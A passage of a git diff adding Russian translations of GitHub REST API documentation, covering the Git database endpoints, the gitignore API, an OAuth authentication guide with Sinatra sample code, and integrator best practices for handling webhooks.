b/translations/ru-RU/content/rest/git/blobs.md @@ -0,0 +1,32 @@ +--- +title: Большие двоичные объекты Git +shortTitle: Blobs +allowTitleToDifferFromFilename: true +intro: "API больших двоичных объектов Git позволяет создавать и получать большой двоичный объект Git (BLOB-объект)\_— тип объекта, используемый для хранения содержимого каждого файла в репозитории." +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: ae4d0ac726c9b76785876f7884425cab99e89f1f +ms.sourcegitcommit: fb740a96852435c748dad95d560327e80b4cef19 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/24/2022 +ms.locfileid: '148105688' +--- +## Сведения об API больших двоичных объектов Git + +Большой двоичный объект Git — это тип объекта, используемый для хранения содержимого каждого файла в репозитории. Хэш SHA-1 файла вычисляется и хранится в большом двоичном объекте. Эти конечные точки позволяют считывать [большие двоичные объекты](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects) из базы данных Git в {% data variables.product.product_name %} и записывать их в него. Большие двоичные объекты используют [эти пользовательские типы данных](#custom-media-types-for-blobs). Дополнительные сведения об использовании типов мультимедиа в API см. [здесь](/rest/overview/media-types). + +### Пользовательские типы данных для больших двоичных объектов + +Это поддерживаемые типы данных для больших двоичных объектов. + + application/json + application/vnd.github.VERSION.raw + +Дополнительные сведения см. в разделе [Типы носителей](/rest/overview/media-types). diff --git a/translations/ru-RU/content/rest/git/commits.md b/translations/ru-RU/content/rest/git/commits.md new file mode 100644 index 000000000000..68c3b9dfdfbf --- /dev/null +++ b/translations/ru-RU/content/rest/git/commits.md @@ -0,0 +1,23 @@ +--- +title: Фиксация Git +shortTitle: Commits +allowTitleToDifferFromFilename: true +intro: 'API фиксаций Git позволяют считывать объекты фиксации из базы данных Git в {% data variables.product.product_name %} и записывать их в него.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: d2440b6676af9560eceb13ef43d6cd16e02d5522 +ms.sourcegitcommit: fb740a96852435c748dad95d560327e80b4cef19 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/24/2022 +ms.locfileid: '148105676' +--- +## Сведения об API фиксаций Git + +Фиксация Git — это моментальный снимок иерархии ([дерево Git](/rest/reference/git#trees)) и содержимого файлов ([больших двоичных объектов Git](/rest/reference/git#blobs)) в репозитории Git. Эти конечные точки позволяют считывать [объекты фиксации](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects#_git_commit_objects) из базы данных Git в {% data variables.product.product_name %} и записывать их в него. diff --git a/translations/ru-RU/content/rest/git/index.md b/translations/ru-RU/content/rest/git/index.md new file mode 100644 index 000000000000..9a5f9b7877b4 --- /dev/null +++ b/translations/ru-RU/content/rest/git/index.md @@ -0,0 +1,29 @@ +--- +title: База данных Git +intro: 'API базы данных Git позволяет совершать операции чтения и записи необработанных объектов Git в базе данных Git в {% data variables.product.product_name %}, а также записывать и обновлять ссылки Git (заголовки ветвей и теги).' +allowTitleToDifferFromFilename: true +redirect_from: + - /v3/git + - /rest/reference/git +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /blobs + - /commits + - /refs + - /tags + - /trees +ms.openlocfilehash: a3f498f0334712d268e80a3d25c9147b62a197da +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882282' +--- +API базы данных Git предоставляет доступ на чтение и запись необработанных объектов Git в базе данных Git в {% data variables.product.product_name %}, а также на перечисление и обновление ссылок (заголовки ветвей и теги). Дополнительные сведения об использовании API базы данных Git см. в статье [Начало работы с API данных Git](/rest/guides/getting-started-with-the-git-database-api). diff --git a/translations/ru-RU/content/rest/git/refs.md b/translations/ru-RU/content/rest/git/refs.md new file mode 100644 index 000000000000..3ac4ce182765 --- /dev/null +++ b/translations/ru-RU/content/rest/git/refs.md @@ -0,0 +1,23 @@ +--- +title: Ссылки на Git +shortTitle: References +intro: 'API ссылок Git позволяют считывать объекты ссылок из базы данных Git для {% data variables.product.product_name %} и записывать их в эту базу данных.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 21f618c0126b133c7c312de01a556988070c5c7e +ms.sourcegitcommit: fb740a96852435c748dad95d560327e80b4cef19 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/24/2022 +ms.locfileid: '148105673' +--- +## Сведения об API ссылок на Git + +Ссылка на Git (`git ref`) — это файл, содержащий хэш SHA-1 фиксации Git. При ссылке на фиксацию Git можно использовать ссылку Git, которая представляет собой простое запоминающееся имя, а не хэш. Ссылку на Git можно перезаписать, чтобы указать на новую фиксацию. Ветвь — это ссылка на Git, в которой хранится новый хэш фиксации Git. Эти конечные точки позволяют считывать и записывать [ссылки](https://git-scm.com/book/en/v2/Git-Internals-Git-References) на базу данных Git в {% data variables.product.product_name %}. diff --git a/translations/ru-RU/content/rest/git/tags.md b/translations/ru-RU/content/rest/git/tags.md new file mode 100644 index 000000000000..b39fd9fb4f37 --- /dev/null +++ b/translations/ru-RU/content/rest/git/tags.md @@ -0,0 +1,23 @@ +--- +title: Теги Git +shortTitle: Tags +allowTitleToDifferFromFilename: true +intro: 'API тегов Git позволяют считывать объекты тегов из базы данных Git для {% data variables.product.product_name %} и записывать их в эту базу данных.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 11f2793c207dc63162506e2b87ce8142602caa88 +ms.sourcegitcommit: fb740a96852435c748dad95d560327e80b4cef19 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/24/2022 +ms.locfileid: '148105685' +--- +## Сведения об API тегов Git + +Метка Git похожа на [ссылку Git](/rest/reference/git#refs), однако фиксация Git, на которую она указывает, никогда не изменяется. Метки Git используются в тех случаях, когда нужно указать на определенные выпуски. Эти конечные точки позволяют считывать [объекты меток](https://git-scm.com/book/en/v2/Git-Internals-Git-References#_tags) из базы данных Git в {% data variables.product.product_name %} и записывать их в нее. API меток Git поддерживает только [объекты аннотированных меток](https://git-scm.com/book/en/v2/Git-Internals-Git-References#_tags), но не упрощенные метки. diff --git a/translations/ru-RU/content/rest/git/trees.md b/translations/ru-RU/content/rest/git/trees.md new file mode 100644 index 000000000000..bbc12818b83b --- /dev/null +++ b/translations/ru-RU/content/rest/git/trees.md @@ -0,0 +1,23 @@ +--- +title: Деревья Git +shortTitle: Trees +allowTitleToDifferFromFilename: true +intro: 'API деревьев Git позволяют считывать объекты деревьев из базы данных Git для {% data variables.product.product_name %} и записывать их в эту базу данных.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 64282860f755516cdae11625984fe4b97d4f9888 +ms.sourcegitcommit: fb740a96852435c748dad95d560327e80b4cef19 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/24/2022 +ms.locfileid: '148105682' +--- +## Сведения об API деревьев Git + +Объект дерева Git создает иерархию между файлами в репозитории Git. Объект дерева Git можно использовать для создания связи между каталогами и содержащимися в них файлами. Эти конечные точки позволяют считывать [объекты дерева](https://git-scm.com/book/en/v2/Git-Internals-Git-Objects#_tree_objects) из базы данных Git в {% data variables.product.product_name %} и записывать их в него. diff --git a/translations/ru-RU/content/rest/gitignore.md b/translations/ru-RU/content/rest/gitignore.md new file mode 100644 index 000000000000..374cb4bb753f --- /dev/null +++ b/translations/ru-RU/content/rest/gitignore.md @@ -0,0 +1,26 @@ +--- +title: Gitignore +intro: The Gitignore API fetches `.gitignore` templates that can be used to ignore files and directories. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/gitignore +--- + +## About the Gitignore API + +When you create a new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} via the API, you can specify a [.gitignore template](/github/getting-started-with-github/ignoring-files) to apply to the repository upon creation. The .gitignore templates API lists and fetches templates from the {% data variables.product.product_name %} [.gitignore repository](https://github.com/github/gitignore). + +### Custom media types for gitignore + +You can use this custom media type when getting a gitignore template. + + application/vnd.github.VERSION.raw + +For more information, see "[Media types](/rest/overview/media-types)." diff --git a/translations/ru-RU/content/rest/guides/basics-of-authentication.md b/translations/ru-RU/content/rest/guides/basics-of-authentication.md new file mode 100644 index 000000000000..e5ac3cf5eff7 --- /dev/null +++ b/translations/ru-RU/content/rest/guides/basics-of-authentication.md @@ -0,0 +1,320 @@ +--- +title: Основы аутентификации +intro: 'Изучите несколько примеров, демонстрирующих различные способы проверки подлинности.' +redirect_from: + - /guides/basics-of-authentication + - /v3/guides/basics-of-authentication + - /rest/basics-of-authentication +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +ms.openlocfilehash: 3e2796e83047f4e8bb6b7e9a503eee6dac63f019 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145135965' +--- +Этот раздел посвящен основам проверки подлинности. В частности, мы создадим сервер Ruby (с помощью [Sinatra][Sinatra]), который реализует [веб-поток][webflow] приложения несколькими разными способами. + +{% tip %} + +Полный исходный код для этого проекта можно скачать из [репозитория platform-samples](https://github.com/github/platform-samples/tree/master/api/). + +{% endtip %} + +## Регистрация приложения + +Сначала нужно [зарегистрировать приложение][new oauth app]. Каждому зарегистрированному приложению OAuth назначается уникальный идентификатор клиента и секрет клиента. +Секрет клиента нельзя разглашать! Это касается и возврата строки в репозиторий. + +Вы можете заполнить все поля как угодно, за исключением **URL-адреса обратного вызова авторизации**. Это, пожалуй, самый важный элемент при настройке приложения. Это URL-адрес обратного вызова, на который {% data variables.product.product_name %} возвращает пользователя после успешной проверки подлинности. + +Так как мы запускаем обычный сервер Sinatra, в качестве расположения локального экземпляра задается `http://127.0.0.1:4567`. Давайте заполним URL-адрес обратного вызова значением `http://127.0.0.1:4567/callback`. + +## Подтверждение авторизации пользователя + +{% data reusables.apps.deprecating_auth_with_query_parameters %} + +Теперь давайте приступим к настройке нашего простого сервера. Создайте файл с именем _server.rb_ и вставьте в него следующий код: + +``` ruby +require 'sinatra' +require 'rest-client' +require 'json' + +CLIENT_ID = ENV['GH_BASIC_CLIENT_ID'] +CLIENT_SECRET = ENV['GH_BASIC_SECRET_ID'] + +get '/' do + erb :index, :locals => {:client_id => CLIENT_ID} +end +``` + +Идентификатор и секретные ключи клиента берутся со [страницы конфигурации приложения][app settings].{% ifversion fpt or ghec %} **Никогда _не_** следует хранить эти значения в {% data variables.product.product_name %} или в любом другом общедоступном месте.{% endif %} Мы рекомендуем хранить их в [переменных среды][about env vars], как в данном случае. + +Далее вставьте в файл _views/index.erb_ следующее содержимое: + +``` erb + + + + +

+ Well, hello there! +

+

+ We're going to now talk to the GitHub API. Ready? + Click here to begin! +

+

+ If that link doesn't work, remember to provide your own Client ID! +

+ + +``` + +(Если вы не знакомы с тем, как работает Sinatra, рекомендуем [ознакомиться с руководством по Sinatra][Sinatra guide].) + +Кроме того, обратите внимание, что в URL-адресе используется параметр запроса `scope` для определения [областей][oauth scopes], запрашиваемых приложением. Для нашего приложения мы запрашиваем область `user:email` для чтения частных адресов электронной почты. + +В браузере перейдите по адресу `http://127.0.0.1:4567`. Щелкнув ссылку, вы перейдете на {% data variables.product.product_name %}, где откроется диалоговое окно наподобие следующего: ![Запрос OAuth GitHub](/assets/images/oauth_prompt.png) + +Если вы доверяете себе, нажмите кнопку **Авторизовать приложение**. Ой! Sinatra выдает ошибку `404`. Что же случилось?! + +Помните, мы указали `callback` в качестве URL-адреса обратного вызова? Мы не предоставили маршрут для него, поэтому {% data variables.product.product_name %} не знает, куда направлять пользователя после авторизации приложения. Давайте исправим это. + +### Предоставление обратного вызова + +В файле _server.rb_ добавьте маршрут, чтобы указать, что должен делать обратный вызов: + +``` ruby +get '/callback' do + # get temporary GitHub code... + session_code = request.env['rack.request.query_hash']['code'] + + # ... and POST it back to GitHub + result = RestClient.post('https://github.com/login/oauth/access_token', + {:client_id => CLIENT_ID, + :client_secret => CLIENT_SECRET, + :code => session_code}, + :accept => :json) + + # extract the token and granted scopes + access_token = JSON.parse(result)['access_token'] +end +``` + +После успешной проверки подлинности приложения {% data variables.product.product_name %} предоставляет временное значение `code`. +Этот код потребуется отправить (`POST`) обратно на {% data variables.product.product_name %} в обмен на `access_token`. +Чтобы упростить HTTP-запросы GET и POST, мы используем [rest-client][REST Client]. +Обратите внимание, что вы, вероятно, никогда не будете обращаться к API через REST. Для более серьезного приложения, вероятно, следует использовать [библиотеку, написанную на выбранном вами языке][libraries]. + +### Проверка предоставленных областей + +Пользователи могут изменять запрошенные области, изменяя URL-адрес напрямую. Таким образом приложению может предоставляться более ограниченный доступ, чем вы запросили изначально. So, before making any requests with the token, you should check the scopes that were granted for the token by the user. Дополнительные сведения о запрошенных и предоставленных областях см. в разделе [Области для приложений OAuth](/developers/apps/scopes-for-oauth-apps#requested-scopes-and-granted-scopes). + +Предоставленные области возвращаются в ответе обмена токеном. + +``` ruby +get '/callback' do + # ... + # Get the access_token using the code sample above + # ... + + # check if we were granted user:email scope + scopes = JSON.parse(result)['scope'].split(',') + has_user_email_scope = scopes.include? 'user:email' +end +``` + +В нашем приложении мы используем `scopes.include?` для проверки того, была ли предоставлена область `user:email`, необходимая для получения частных адресов электронной почты пользователя, прошедшего проверку подлинности. Если бы приложение запрашивало другие области, мы бы также проверили их. + +Кроме того, так как между областями существуют иерархические отношения, следует проверить, предоставлен ли вам минимальный уровень требуемых областей. Например, если приложение запросило область `user`, возможно, ему была предоставлена только область `user:email`. В этом случае приложению не предоставлен запрошенный уровень, но предоставленных областей все равно достаточно. + +Проверки областей только перед выполнением запросов недостаточно, так как пользователи могут изменять области в период между проверкой и фактическим запросом. +В этом случае вызовы API, которые должны выполняться успешно, могут завершаться ошибкой с состоянием `404` или `401` или возвращать другие сведения. + +Для корректной обработки таких событий все ответы API на запросы, выполняемые с допустимыми токенами, также содержат [заголовок `X-OAuth-Scopes`][oauth scopes]. +Этот заголовок содержит список областей токена, который использовался для выполнения запроса. Помимо этого, API приложений OAuth предоставляет конечную точку для {% ifversion fpt or ghes or ghec %} [проверки токена на допустимость](/rest/reference/apps#check-a-token){% else %}[проверки токена на допустимость](/rest/reference/apps#check-an-authorization){% endif %}. +Используйте эти сведения для обнаружения изменений в областях токена и информирования пользователей об изменениях в доступных функциональных возможностях приложения. + +### Выполнение запросов с проверкой подлинности + +Наконец, с помощью этого маркера доступа вы можете выполнять запросы, прошедшие проверку подлинности, как пользователь, вошедший в систему: + +``` ruby +# fetch user information +auth_result = JSON.parse(RestClient.get('{% data variables.product.api_url_code %}/user', + {:params => {:access_token => access_token}})) + +# if the user authorized it, fetch private emails +if has_user_email_scope + auth_result['private_emails'] = + JSON.parse(RestClient.get('{% data variables.product.api_url_code %}/user/emails', + {:params => {:access_token => access_token}})) +end + +erb :basic, :locals => auth_result +``` + +С результатами можно делать что угодно. В этом случае мы просто сбросим их в файл _basic.erb_: + +``` erb +

Hello, <%= login %>!

+

+ <% if !email.nil? && !email.empty? %> It looks like your public email address is <%= email %>. + <% else %> It looks like you don't have a public email. That's cool. + <% end %> +

+

+ <% if defined? private_emails %> + With your permission, we were also able to dig up your private email addresses: + <%= private_emails.map{ |private_email_address| private_email_address["email"] }.join(', ') %> + <% else %> + Also, you're a bit secretive about your private email addresses. + <% end %> +

+``` + +## Реализация сохраняемой проверки подлинности + +Если бы пользователям требовалось входить в приложение каждый раз, когда им нужно посетить веб-страницу, это было бы неудобно. Например, попробуйте перейти непосредственно по адресу `http://127.0.0.1:4567/basic`. Вы получите ошибку. + +Что если бы мы могли обойти весь ручной процесс и _сделать так_, чтобы пользователь, вошедший на {% data variables.product.product_name %}, мог автоматически получать доступ к приложению? Приготовься, ведь _именно это мы собираемся сделать_. + +Описанный выше сервер довольно прост. Чтобы добавить интеллектуальные возможности проверки подлинности, мы перейдем на использование сеансов для хранения токенов. +Это сделает проверку подлинности прозрачной для пользователя. + +Кроме того, так как области хранятся в сеансе, нам потребуется обрабатывать случаи, когда пользователь изменяет области после их проверки или отзывает токен. Для этого мы используем блок `rescue` и проверим, выполнен ли первый вызов API успешно и, следовательно, действителен ли токен. После этого мы проверим заголовок ответа `X-OAuth-Scopes`, чтобы убедиться в том, что пользователь не отозвал область `user:email`. + +Создайте файл с именем _advanced_server.rb_ и вставьте в него следующие строки: + +``` ruby +require 'sinatra' +require 'rest_client' +require 'json' + +# !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!! +# Instead, set and test environment variables, like below +# if ENV['GITHUB_CLIENT_ID'] && ENV['GITHUB_CLIENT_SECRET'] +# CLIENT_ID = ENV['GITHUB_CLIENT_ID'] +# CLIENT_SECRET = ENV['GITHUB_CLIENT_SECRET'] +# end + +CLIENT_ID = ENV['GH_BASIC_CLIENT_ID'] +CLIENT_SECRET = ENV['GH_BASIC_SECRET_ID'] + +use Rack::Session::Pool, :cookie_only => false + +def authenticated? + session[:access_token] +end + +def authenticate! + erb :index, :locals => {:client_id => CLIENT_ID} +end + +get '/' do + if !authenticated? + authenticate! + else + access_token = session[:access_token] + scopes = [] + + begin + auth_result = RestClient.get('{% data variables.product.api_url_code %}/user', + {:params => {:access_token => access_token}, + :accept => :json}) + rescue => e + # request didn't succeed because the token was revoked so we + # invalidate the token stored in the session and render the + # index page so that the user can start the OAuth flow again + + session[:access_token] = nil + return authenticate! + end + + # the request succeeded, so we check the list of current scopes + if auth_result.headers.include? :x_oauth_scopes + scopes = auth_result.headers[:x_oauth_scopes].split(', ') + end + + auth_result = JSON.parse(auth_result) + + if scopes.include? 'user:email' + auth_result['private_emails'] = + JSON.parse(RestClient.get('{% data variables.product.api_url_code %}/user/emails', + {:params => {:access_token => access_token}, + :accept => :json})) + end + + erb :advanced, :locals => auth_result + end +end + +get '/callback' do + session_code = request.env['rack.request.query_hash']['code'] + + result = RestClient.post('https://github.com/login/oauth/access_token', + {:client_id => CLIENT_ID, + :client_secret => CLIENT_SECRET, + :code => session_code}, + :accept => :json) + + session[:access_token] = JSON.parse(result)['access_token'] + + redirect '/' +end +``` + +Большая часть кода должна выглядеть знакомо. Например, мы по-прежнему используем `RestClient.get` для вызова API {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} и по-прежнему передаем результаты для обработки в шаблоне ERB (на этот раз он называется `advanced.erb`). + +Кроме того, теперь у нас есть метод `authenticated?`, который проверяет, прошел ли пользователь проверку подлинности. Если нет, вызывается метод `authenticate!`, который выполняет поток OAuth и обновляет сеанс с учетом предоставленных токена и областей. + +Затем создайте в папке _views_ файл с именем _advanced.erb_ и вставьте в него следующую разметку: + +``` erb + + + + +

Well, well, well, <%= login %>!

+

+ <% if !email.empty? %> It looks like your public email address is <%= email %>. + <% else %> It looks like you don't have a public email. That's cool. + <% end %> +

+

+ <% if defined? private_emails %> + With your permission, we were also able to dig up your private email addresses: + <%= private_emails.map{ |private_email_address| private_email_address["email"] }.join(', ') %> + <% else %> + Also, you're a bit secretive about your private email addresses. + <% end %> +

+ + +``` + +В командной строке вызовите `ruby advanced_server.rb`, чтобы запустить сервер через порт `4567` — тот же порт, который мы использовали с простым приложением Sinatra. +При переходе по адресу `http://127.0.0.1:4567` приложение вызывает `authenticate!`, в результате чего вы перенаправляетесь на `/callback`. Затем `/callback` отправляет нас обратно на `/`, и так как мы прошли проверку подлинности, отрисовывается содержимое файла _advanced.erb_. + +Мы могли бы сильно упростить эту циклическую маршрутизацию, просто изменив URL-адрес обратного вызова в {% data variables.product.product_name %} на `/`. Но, так как и _server.rb_, и _advanced.rb_ используют один и тот же URL-адрес обратного вызова, для этого необходимы дополнительные действия. + +Кроме того, если бы мы никогда прежде не разрешали приложению доступ к данным {% data variables.product.product_name %}, появилось бы то же диалоговое окно с предупреждением, что и ранее. + +[webflow]: /apps/building-oauth-apps/authorizing-oauth-apps/ +[Sinatra]: http://www.sinatrarb.com/ +[about env vars]: http://en.wikipedia.org/wiki/Environment_variable#Getting_and_setting_environment_variables +[Sinatra guide]: https://github.com/sinatra/sinatra-book/blob/master/book/Introduction.markdown#hello-world-application +[REST Client]: https://github.com/archiloque/rest-client +[libraries]: /libraries/ +[oauth scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ +[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/basics-of-authentication +[new oauth app]: https://github.com/settings/applications/new +[app settings]: https://github.com/settings/developers diff --git a/translations/ru-RU/content/rest/guides/best-practices-for-integrators.md b/translations/ru-RU/content/rest/guides/best-practices-for-integrators.md new file mode 100644 index 000000000000..8c94e544d85a --- /dev/null +++ b/translations/ru-RU/content/rest/guides/best-practices-for-integrators.md @@ -0,0 +1,171 @@ +--- +title: Рекомендации для интеграторов +intro: 'Создайте приложение, которое надежно взаимодействует с API-интерфейсами {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} и обеспечивает максимально эффективное взаимодействие с пользователями.' +redirect_from: + - /guides/best-practices-for-integrators + - /v3/guides/best-practices-for-integrators +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +shortTitle: Integrator best practices +ms.openlocfilehash: 76e0a405394529bb8b40b0a0af10d5e19fbbf3a5 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882274' +--- +Хотите осуществить интеграцию с платформой GitHub? [Тогда вы обратились по адресу](https://github.com/integrations). Это руководство поможет вам создать приложение, максимально удобное для пользователей *и* обеспечивающее надежное взаимодействие с API. + +## Безопасная доставка полезных данных из GitHub + +Очень важно защитить [полезные данные, передаваемые из GitHub][event-types]. Хотя личная информация (например, пароли) никогда не передается в полезных данных, нельзя допускать утечки *никаких* сведений. К конфиденциальным сведениям могут относиться адрес электронной почты участника или имена частных репозиториев. + +Существует ряд мер, которыми можно защитить полезные данные, получаемые из GitHub. + +1. Убедитесь в том, что принимающий сервер подключен по HTTPS. По умолчанию GitHub проверяет SSL-сертификаты при доставке полезных данных.{% ifversion fpt or ghec %} +1. Вы можете добавить [IP-адрес, используемый при доставке перехватчиков](/github/authenticating-to-github/about-githubs-ip-addresses), в список разрешений сервера. Чтобы всегда проверять правильный IP-адрес, можно [использовать конечную точку `/meta`](/rest/reference/meta#meta) для определения используемого нами адреса.{% endif %} +1. Предоставьте [секретный токен](/webhooks/securing/), чтобы обеспечить уверенность в том, что полезные данные поступают из GitHub. Применяя секретный маркер, вы гарантируете, что все данные, получаемые сервером, точно поступают из GitHub. В идеале необходимо предоставить отдельный секретный токен *для каждого пользователя* службы. Если один токен будет скомпрометирован, другие пользователи затронуты не будут. + +## Предпочтительное использование асинхронных задач вместо синхронных + +GitHub ожидает, что интеграция ответит в течение {% ifversion fpt or ghec %}10{% else %}30{% endif %} секунд после получения полезных данных веб-перехватчика. Если службе требуется больше времени на ответ, GitHub завершает подключение и полезные данные теряются. + +Так как невозможно предсказать, насколько быстро ответит служба, вся "реальная работа" должна выполняться в фоновом задании. Примерами библиотек, которые могут выполнять постановку в очередь и обработку фоновых заданий, являются [Resque](https://github.com/resque/resque/) (для Ruby), [RQ](http://python-rq.org/) (для Python) или [RabbitMQ](http://www.rabbitmq.com/) (для Java). + +Обратите внимание, что даже при выполнении фонового задания GitHub по-прежнему ожидает, что сервер ответит в течение {% ifversion fpt or ghec %}10{% else %}30{% endif %} секунд. Ваш сервер должен подтвердить получение полезных данных, отправив какой-либо ответ. Очень важно, чтобы служба проводила все проверки полезных данных как можно скорее, чтобы вы могли точно сообщить, будет ли сервер продолжать выполнение запроса. + +## Использование соответствующих кодов состояния HTTP при ответе на запросы GitHub + +У каждого веб-перехватчика есть собственный раздел "Последние доставки", в котором указывается, было ли развертывание успешным. + +![Представление "Последние доставки"](/assets/images/webhooks_recent_deliveries.png) + +Для информирования пользователей следует использовать правильные коды состояния HTTP. С помощью такого кода, как `201` или `202`, можно подтвердить получение полезных данных, которые не будут обрабатываться (например, доставленных ветвью не по умолчанию). Зарезервируйте код ошибки `500` для неустранимых сбоев. + +## Предоставление пользователю максимально подробных сведений + +Пользователи могут изучать ответы сервера, отправляемые обратно в GitHub. Сообщения должны быть понятны и информативны. + +![Просмотр ответа касательно полезных данных](/assets/images/payload_response_tab.png) + +## Следование всем перенаправлениям, отправляемым API + +GitHub явным образом сообщает о перемещении ресурса, предоставляя код состояния перенаправления. Вам необходимо следовать этим перенаправлениям. В каждом ответе о перенаправлении задается заголовок `Location` с новым универсальным кодом ресурса (URI) для перехода. Если вы получили перенаправление, лучше всего обновить код для использования нового кода URI, чтобы не запрашивать устаревший путь, который, возможно, удален. + +Мы предоставили [список кодов состояния HTTP](/rest#http-redirects) для отслеживания перенаправлений при разработке приложения. + +## Нежелательность анализа URL-адресов вручную + +Ответы API часто содержат данные в виде URL-адресов. Например, при запросе репозитория мы отправляем ключ `clone_url` с URL-адресом, который можно использовать для клонирования репозитория. + +Для стабильной работы приложения не следует пытаться анализировать эти данные или пытаться угадать формат будущих URL-адресов. Если мы решим изменить URL-адрес, работа приложения может нарушиться. + +Например, при работе с результатами с разбивкой на страницы кажется логичным, что следует добавлять `?page=` в конец URL-адреса. Избегайте такого подхода. В [нашем руководстве по разбиению на страницы](/guides/traversing-with-pagination) приводится ряд советов по безопасной работе с результатами, разбитыми на страницы. + +## Проверка типа события и действия перед обработкой события + +Существует множество [типов событий веб-перехватчиков][event-types], и с каждым событием может быть связано несколько действий. По мере расширения набора функций GitHub мы иногда будем добавлять новые типы событий или новые действия к существующим типам событий. Перед обработкой веб-перехватчика приложение должно явным образом проверить тип и действие события. С помощью заголовка запроса `X-GitHub-Event` можно узнать, какое событие было получено, чтобы обработать его соответствующим образом. Аналогичным образом, у полезных данных есть ключ верхнего уровня `action`, с помощью которого можно узнать, какое действие было выполнено с соответствующим объектом. + +Например, если для веб-перехватчика GitHub настроено действие "Отправить мне **все**", приложение начнет получать новые типы событий и действия по мере их добавления. Поэтому **не рекомендуется использовать предложения типа catch-all else**. Рассмотрим следующий пример кода: + +```ruby +# Not recommended: a catch-all else clause +def receive + event_type = request.headers["X-GitHub-Event"] + payload = request.body + + case event_type + when "repository" + process_repository(payload) + when "issues" + process_issues(payload) + else + process_pull_requests + end +end +``` + +В этом примере методы `process_repository` и `process_issues` будут вызываться правильно при получении события `repository` или `issues`. Однако любой другой тип события приведет к вызову `process_pull_requests`. По мере добавления новых типов событий это приведет к неправильному поведению, и новые типы событий будут обрабатываться так же, как событие `pull_request`. + +Вместо этого мы рекомендуем явно проверять типы событий и действовать соответствующим образом. В следующем примере кода мы явным образом проверяем событие `pull_request`, а предложение `else` просто сообщает, что получен новый тип события: + +```ruby +# Recommended: explicitly check each event type +def receive + event_type = request.headers["X-GitHub-Event"] + payload = JSON.parse(request.body) + + case event_type + when "repository" + process_repository(payload) + when "issues" + process_issue(payload) + when "pull_request" + process_pull_requests(payload) + else + puts "Oooh, something new from GitHub: #{event_type}" + end +end +``` + +Так как у каждого события также может быть несколько действий, рекомендуется проверять действия аналогичным образом. Например, у [`IssuesEvent`](/webhooks/event-payloads/#issues) имеется несколько возможных действий. К ним относятся `opened` при создании проблемы, `closed` при закрытии проблемы и `assigned` при назначении проблемы пользователю. + +Помимо добавления типов событий, мы также можем добавлять новые действия для существующий событий. Поэтому при проверке действия события также **не рекомендуется использовать предложения типа catch-all else**. Вместо этого мы рекомендуем явно проверять действия события, как и в случае с типом события. Пример выглядит очень похоже на то, что было предложено для типов событий выше: + +```ruby +# Recommended: explicitly check each action +def process_issue(payload) + case payload["action"] + when "opened" + process_issue_opened(payload) + when "assigned" + process_issue_assigned(payload) + when "closed" + process_issue_closed(payload) + else + puts "Oooh, something new from GitHub: #{payload["action"]}" + end +end +``` + +В этом примере действие `closed` проверяется перед вызовом метода `process_closed`. Все неопознанные действия регистрируются для проверки в будущем. + +{% ifversion fpt or ghec or ghae %} + +## Ограничения скорости + +[Ограничение скорости](/rest/overview/resources-in-the-rest-api#rate-limiting) API GitHub обеспечивает быструю работу и доступность API для всех пользователей. + +Если ограничение скорости достигнуто, следует сделать паузу и продолжить выполнять запросы, когда это будет разрешено. В противном случае приложение может быть заблокировано. + +Вы можете в любой момент [проверить состояние ограничения скорости](/rest/reference/rate-limit). Запрос проверки ограничения скорости не учитывается в общем количестве запросов. + +## Дополнительные ограничения скорости + +[Дополнительные ограничения скорости](/rest/overview/resources-in-the-rest-api#secondary-rate-limits) — еще один способ обеспечения доступности API. +Чтобы избежать достижения этих ограничений, следуйте приведенным ниже рекомендациям в приложении. + +* Выполняйте запросы с проверкой подлинности или используйте идентификатор клиента и секрет приложения. В отношении запросов без проверки подлинности действуют более строгие дополнительные ограничения скорости. +* Выполняйте запросы для одного пользователя или идентификатора клиента последовательно. Не выполняйте запросы для одного пользователя или идентификатора клиента параллельно. +* Если вы выполняете много запросов `POST`, `PATCH`, `PUT` или `DELETE` для одного пользователя или идентификатора клиента, между ними следует делать паузу длительностью по крайней мере в 